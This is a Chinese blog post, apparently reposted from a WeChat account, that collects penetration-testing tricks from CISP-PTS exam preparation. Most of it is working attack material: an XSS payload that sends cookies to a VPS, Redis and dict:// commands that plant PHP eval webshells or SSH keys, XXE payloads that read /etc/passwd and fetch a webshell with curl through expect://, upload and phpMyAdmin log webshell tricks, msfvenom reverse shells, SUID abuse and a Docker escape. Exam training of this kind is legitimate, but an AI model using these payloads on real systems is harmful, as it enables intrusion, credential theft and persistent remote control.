CISP-PTS中的渗透小技巧分享

admin 2024年7月2日09:29:38评论9 views字数 5094阅读16分58秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安设为星标”,否则可能看不到了

本文由@天明师傅原创投稿,感谢分享 !需要考以下各类安全证书的也可以联系我,价格优惠、组团更便宜,还送【潇湘信安】知识星球1年!

CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001...

0x00 前言

最近一直在备考PTS,周二考完了,总结了一下PTS,还是有一些小技巧可以在实战中参考使用的。就比如XXE的命令执行和.user.ini文件上传和phpmyadmin后台日志马getshell。没啥技术含量,就是从自己的笔记里选出来的。有啥意见,随意提。

0x01 渗透阶段

1.1、XSS获取cookie

在VPS上启动临时http服务

python -m http.server 8080    # python3开启临时HTTP服务python -m SimpleHTTPServer 8080      # python开启临时HTTP服务
XSS载荷
<script>new Image().src="http://vps_ip:vps_port/?c="+document.cookie;</script>
示例:
CISP-PTS中的渗透小技巧分享

1.2、Redis攻击

前提:
知道web目录的绝对路径web目录和.ssh目录的写入权限。
1.2.1、nc写webshell
ping flushallconfig set dir /var/www/html/app1/config set dbfilename a.phpset x "<?php @eval($_POST[aa]); ?>"save
1.2.2、nc写公钥
pingflushallconfig set dir /root/.ssh/config set dbfilename authorized_keysset x "nnn<ssh_public_key>nnn"save
1.2.3、dict协议写webshell
dict://localhost:6379/flushalldict://localhost:6379/set:dir:/var/www/html/app1dict://localhost:6379/set:dbfilename:1.php

<?php @eval($_POST[1]); ?>dict://localhost:6379/set:x:"x3cx3fx70x68x70x20x40x65x76x61x6cx28x24x5fx50x4fx53x54x5bx31x5dx29x3bx20x3fx3e"dict://localhost:6379/save
此处webshell需要hex编码,可通过cyberchef来实现,必应搜索:cyberchef gchq,即可找到官方的地址:
CISP-PTS中的渗透小技巧分享

加密类型使用To Hex,Delimiter设置为x,然后输入webshell的内容即可得到hex编码后的结果。

CISP-PTS中的渗透小技巧分享

webshell一句话编写小技巧:

写一个php架构:<?php ?>在php架构中写入用到的eval函数:@eval();eval函数中嵌套进最终的参数:$_POST[22]。22是传递函数的密码。最终结果:<?php @eval($_POST[22]);?>

1.2.4、dict协议写公钥

pingflushalldict://localhost:6379/config:set:dir:/root/.ssh/dict://localhost:6379/config:set:dbfilename:authorized_keysdict://localhost:6379/set:x:"nnn<ssh_public_key>nnn"save

注意:

  • 写公钥的两条config命令和一条set命令均需要把前面的命令的空格改成英文格式的冒号。
  • 除此之外,还需要加上dict协议的Redis请求地址,如:dict://localhost:6379/

1.3、XXE相关技巧

1.3.1、XXE载荷构技巧

使用seclists的XXE-Fuzzing.txt的第9行,做一个简单改造即可使用。对比如下:
改造前:<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

改造后:<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]>

XXE-Fuzzing.txt的路径:SecListsFuzzingXXE-Fuzzing.txt

有了上述载荷以后,再加上回显位置即可成功利用,完整载荷示例:

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]><name><email>&foo;</email></name>
CISP-PTS中的渗透小技巧分享

1.3.2、命令执行&&getshell

命令执行的原理是把文件读取用的file://协议换成了expect://协议。

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]><name><email>&foo;</email></name>
CISP-PTS中的渗透小技巧分享

getshell则是命令执行的变种,通过上传webshell来。

利用前提:知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上,直接寄。
1)使用python托管webshellpython -m http.server 8088

2)下载webshell<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o'$IFS'222.php" >]><name><email>&foo;</email></name>
此处webshell下载解析:
curl -O vps_addr:port/111.phpcurl vps_addr:port/111.php -o 222.php

空格用$IFS来替代,没啥好说的,常规思路。下载url不能带协议下载url用单引号包裹,如果是-o方式,保存文件的名称也用单引号包裹起来。

1.4、.user.ini文件上传

这个跟.htaccess差不多,.user.ini是php给用户的自定义配置文件,可将指定文件按照php脚本文件的形式解析。

介绍:https://blog.csdn.net/cosmoslin/article/details/120793126
利用过程:

1)上传.user.ini

filename:.user.iniContent-type:image/jpeg文件正文:    GIF89a     auto_prepend_file = aaa.jpg
2)上传webshell
filename:  aaa.jpgContent-type:image/jpeg文件正文:    GIF89a     <?php @eval($_POST[22]);?>    # 可替换为其他webshell

1.5、盲注分析

导出数据包:
文件——导出分组解析结果——为纯文本

CISP-PTS中的渗透小技巧分享

通过notepad++解码:

CISP-PTS中的渗透小技巧分享

提取所有注入数据包,此处使用notepad++中的标记功能,查找模式设置为正则表达式。

CISP-PTS中的渗透小技巧分享

提取出来以后,找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。

CISP-PTS中的渗透小技巧分享


找到所有数据后,用英文的逗号隔开,然后使用convert从dec转成text。

CISP-PTS中的渗透小技巧分享

1.6、phpmyadmin后台写日志马

前提:知道web根目录。

set global general_log = 'on';set global general_log_file = 'c:/phpstudy/111.php'select "<?php @eval($_POST[22]);?>"
web根目录可通过phpinfo或phpstudy探针等信息获取web目录,phpstudy探针:
CISP-PTS中的渗透小技巧分享

写入webshell的浏览器写入示例:

CISP-PTS中的渗透小技巧分享

0x02 后渗透阶段

2.1、SUID提权
find / -perm -u=s -type f 2>/dev/null

find /etc/passwd -exec ls /root ;find /etc/passwd -exec cat /root/key.cisp ;
CISP-PTS中的渗透小技巧分享

2.2、proxychains爆破

  • 修改/etc/proxychains4.conf,将proxy_dns注释掉即可。
  • 设置爆破线程为1.
  • hydra通过proxychains代理爆破命令示例:
proxychains hydra ssh://192.168.1.1 -l root -p /usr/share/wordlists/metasploit/unix_password.txt -t 1


2.3、增加路由

run autoroute -s 192.168.30.0/24    增加192.168.30.0/24的路由run autoroute -p      查看已添加的路由


2.4、设置socks代理

search socksuse 0set srvhost 127.0.0.1exploit
CISP-PTS中的渗透小技巧分享

2.5、msf上线机器

载荷生成

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.44 LPORT=4443 -f exe -o win7.exe
设置监听
msf6 > use exploit/multi/handlermsf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 192.168.0.44msf6 exploit(multi/handler) > set lport 4443msf6 exploit(multi/handler) > exploit
linux,web_delivery上线
use exploit/multi/script/web_delivery(加载脚本模块)set payload linux/x64/meterpreter/reverse_tcpset LHOST 172.16.143.132set target 7exploit

2.6、redis主从复制rce

search redismsf6 exploit(linux/redis/redis_replication_cmd_exec) > set rhosts 192.168.100.139msf6 exploit(linux/redis/redis_replication_cmd_exec) > set srvhost 192.168.100.144msf6 exploit(linux/redis/redis_replication_cmd_exec) > set lhost 192.168.100.144msf6 exploit(linux/redis/redis_replication_cmd_exec) > exploit

2.7、docker逃逸-写公钥

查看设备情况

fdisk -l
CISP-PTS中的渗透小技巧分享

创建目录并挂到对应设备上

mkdir /testmount /dev/sda5 /test
CISP-PTS中的渗透小技巧分享

写公钥

ssh-keygen -f tmpcat tmp.publs -al /test/root/      #没有.ssh,就创建.sshecho 'ssh_key' > /test/root/.ssh/authorized_keysssh -i tmp [email protected]

原文始发于微信公众号(潇湘信安):CISP-PTS中的渗透小技巧分享

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月2日09:29:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CISP-PTS中的渗透小技巧分享http://cn-sec.com/archives/2908707.html

发表评论

匿名网友 填写信息